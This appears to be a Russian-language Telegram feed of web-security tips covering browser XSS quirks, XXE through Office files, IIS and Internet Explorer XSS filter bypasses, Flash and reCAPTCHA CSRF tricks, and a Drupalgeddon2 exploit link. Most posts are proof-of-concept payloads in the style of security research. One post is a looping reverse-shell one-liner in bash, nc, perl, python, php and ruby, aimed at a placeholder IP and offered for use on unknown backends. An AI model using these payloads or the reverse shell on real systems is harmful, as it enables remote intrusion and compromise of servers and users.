Особенности Safari в client-side атаках.
https://bo0om.ru/safari-client-side

Safari все больше напоминает IE 🤔

Вы ведь все пользуетесь nmap? А команда Vulners сделала плагин, которого всем не хватало!
Теперь вы не просто можете просканировать удаленный хост, но и найти на нем уязвимости!
И все это используя Nmap с плагином Vulners - https://github.com/vulnersCom/nmap-vulners

Здравствуйте!
На серверах Вашей компании найдена уязвимость чтения произвольного участка памяти в обход имеющихся привилегий.
Злоумышленник может получить доступ к исходным кодам, паролям, данным пользователей, как следствие, скомпрометировать сервера компании не оставив при этом следов.
Для исправления уязвимости необходимо обновить все процессоры до модели, которые выпускаются начиная с 2018 года. Рекомендуем рассмотреть процессор «Эльбрус».
*trollface*

DOM XSS, вектор которых был через location.hash, похоже, умрет в Chrome начиная с 65 версии

Ну мы тут трем за кавычки, а все что касается безопасности браузеров - на канале @br0wsec, подключайтесь :)

Тег вида <link rel=import> импортирует содержимое стороннего документа на текущую страницу (вжух https://w3c.github.io/webcomponents/spec/imports/index.html). А в Google Chrome можно импортировать html из любого файла, с абсолютно любым типом контента (заголовок Content-type) в том числе, если будет присутствовать указание не пытаться определить содержимое (X-Content-Type-Options: nosniff).

Для примера, создадим файл с случайными данными и добавим вконце тег script

head -c 1000000 /dev/urandom > /tmp/bin.bin
echo "<script>alert()</script>" >> /tmp/bin.bin

Теперь попробуем его импортировать: https://bo0om.ru/bin.html
И скрипт выполнится!

Таким образом, достаточно загрузить любой файл на ресурс, будь это валидное изображение или любой другой документ, в тело которого предварительно записан js - и вызвать его с помощью <link rel=import href=/path/to/file>. Так как обращение идет к ссылке текущего домена - такая ссылка не будет заблокированна Chrome XSS Auditor'ом.

Знакомые тебе форматы Microsoft Office: docx, xlsx, это zip архив, содержащий данные в виде XML (они так и называются - Office Open XML и подобны OpenDocument Format). А это значит, что если сайт обрабатывает (парсит, конвентирует) подобные файлы - есть вероятность атаки XXE (https://xakep.ru/2012/12/11/xml-apps-attacks-manual/), как следствие, чтение произвольных файлов, SSRF, DoS, в идеале - выполнение произвольного кода.

Если веб-приложение пытается работать с метаданными в изображении (jpg, png, gif, да-да), такими как XMP - то можно попробовать выполнить атаку с помощью них! Чего уж говорить об изображении формата SVG (это вообще XML в чистом виде)!

Так вот, для экспериментов есть отличная тулза, которая позволяет сгенерировать документы и картинки с подобной полезной нагрузкой.

https://github.com/BuffaloWill/oxml_xxe

А ты используешь Burp Suite? А лицензионный? Если нет, аккуратнее там, как минимум Burp Suite Loader 1.7.31 - тот еще конь. Хотя, вполне ожидаемо, чаще всего малварь распространяется в крякнутом софте.

https://0x00sec.org/t/malware-reversing-burpsuite-keygen/5167

А ты знал, что в IIS возможно создать XSS пейлоад не только в форматах типа html/xml? Оказывается, что вектор для XML

<a:script xmlns:a="https://www.w3.org/1999/xhtml">alert(1337)</a:script>

может быть загружен со следующими расширенями: .dtd .mno .vml .xsl .xht .svg .xml .xsd .xsf .svgz .xslt .wsdl .xhtml, а вектор

<script>alert(1337)</script>

будет работать в форматах .cer .hxt и .htm.

mike-n1(с)

Тут можно почитать подробнее: https://mike-n1.github.io/ExtensionsOverview

Раз уж автор прошлого поста поднял речь про Internet Explorer, то я хотел бы и от себя рассказать одну интересную вещь (баян).

Существует такой малоизвестны тег <?PXML>. Функциональное предназначение такого тега остается мало понятным.
Создание XML документа с таким тегом при предварительном просмотре выдает ошибки синтаксиса документа.

Но мы данный тег можем использовать для обхода XSS фильтров. Используя небольшую магию префикса html:, PXML будет распознаваться как HTML-тег.

<?PXML><html:script>alert(1)</html:script>

Работает для последнего 11 Internet Explorer.
Стоящий вектор для добавления его в свои словарики по багбаунти.

Для тех, кто знает японский и умеет в гугл переводчик, может ознакомиться со статьей в оригинале: https://masatokinugawa.l0.cm/2017/05/xss13.html

Javascript, который мы заслужили:

setTimeout(unescape(escape('󠅡󠅬󠅥󠅲󠅴󠄨󠄧󠅏󠅯󠅰󠅳󠄧󠄩󠄻󠅤󠄽󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄬󠄨󠅤󠄮󠅢󠅯󠅤󠅹󠅼󠅼󠅤󠄮󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠅅󠅬󠅥󠅭󠅥󠅮󠅴󠄩󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠅈󠅡󠅣󠅫󠅥󠅤󠄧').replace(/u.{8}/g,'')))

Забавно, правда? О том, как это работает:
https://www.stefanjudis.com/blog/hidden-messages-in-javascript-property-names/

Возможно, ты уже знаешь, что открытая ссылка может изменить ту страницу, с которой ее открыли (переопределить window.opener), если target ссылки был "_blank":

https://habrahabr.ru/post/164539/

Это работает и в обратную сторону. Для примера:

https://bo0om.ru/google.html

Если дать пользователю ссылку - ее в любой момент можно изменить (уже после открытия).

А вот и эксплойт на CVE-2018-7600 подъехал.

https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600/

#drupalgeddon2 #Drupal

По поводу публичных телеграм проксей. В разных статьях предлагают поставить прокси сервер dante и включить вход по юзерам ОС. И следующей строчкой добавляют юзера, но (!) не отрубают ему доступ по SSH и всем раскидывают ссылки на свою проксю с логином и паролем. Итого - берем юзер:пароль, адрес прокси и логинимся по SSH. Небольшим вкладом в безопасность было это исправить в данной инструкции - https://krasovsky.me/it/2017/07/socks5-dante/, которой уже почти 10 месяцев.

На случай важных переговоров:

while true;do bash -i >& /dev/tcp/IP/1337 0>&1;nc -e /bin/sh IP 1337;perl -e 'use Socket;$i="IP";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';php -r '$sock=fsockopen("IP",1337);exec("/bin/sh -i <&3 >&3 2>&3");';ruby -rsocket -e'f=TCPSocket.open("IP",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)';sleep 5;done

Заменяешь IP на свой и слушаешь порт 1337. На случай, когда не знаешь что на бэкэнде, а бэкшелл хочется :)

Не весь кэш одинаково полезен
https://bo0om.ru/web-cache-deception-attack

Обходим экзотичную CSRF защиту

Сперва ликбез. Засабмитить форму POST-запросом можно со следующими mime type:

a) text/plain

b) application/x-www-form-urlencoded:

param1=a&param2=b

c) multipart/form-data:

---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param1" 

aaa
---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param2" 

bbb

Но нам недоступен типа application/json. Браузер заблокирует отправку с таким контент-тайпом, если отсутствуют разрешающие CORS хидеры (а это совсем другая история).

Иногда на этом построена CSRF защита, но Flash может это обойти. А поможет нам в этом вот этот прекрасный PoC: https://github.com/sp1d3r/swf_json_csrf

Если коротко, вот в чем соль:

1) Мы размещаем на собственном ресурсе особый SWF и PHP скрипт отдающий 307 редирект. Особенность редиректа 307 в том, что он, в отличие от прочих, при редиректе перенаправляет отправленные данные, а не просто перенаправляет пользователя на другую страницу.

2) Наша флешка шлет PHP скрипту POST с нужным json телом (ведь все в рамках одного ориджина, а значит CORS нас не заблокирует)

3) Скрипт отдает 307 редирект и перенаправляет на victim-site

4) Наша флешка следует по редиректу
->
Cookies подставляются, Content-type сохраняется application/json
->
PWNED!

Подробнее об этом:
https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/

Знаете ли вы, что reCAPTCHA (та самая капча от Google) дает возможность выполнять CSRF-атаки?

CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.

А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.

Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.

Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.

Годный доклад на OWASP AppSecEU 2018, от Frans Rosén'а
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15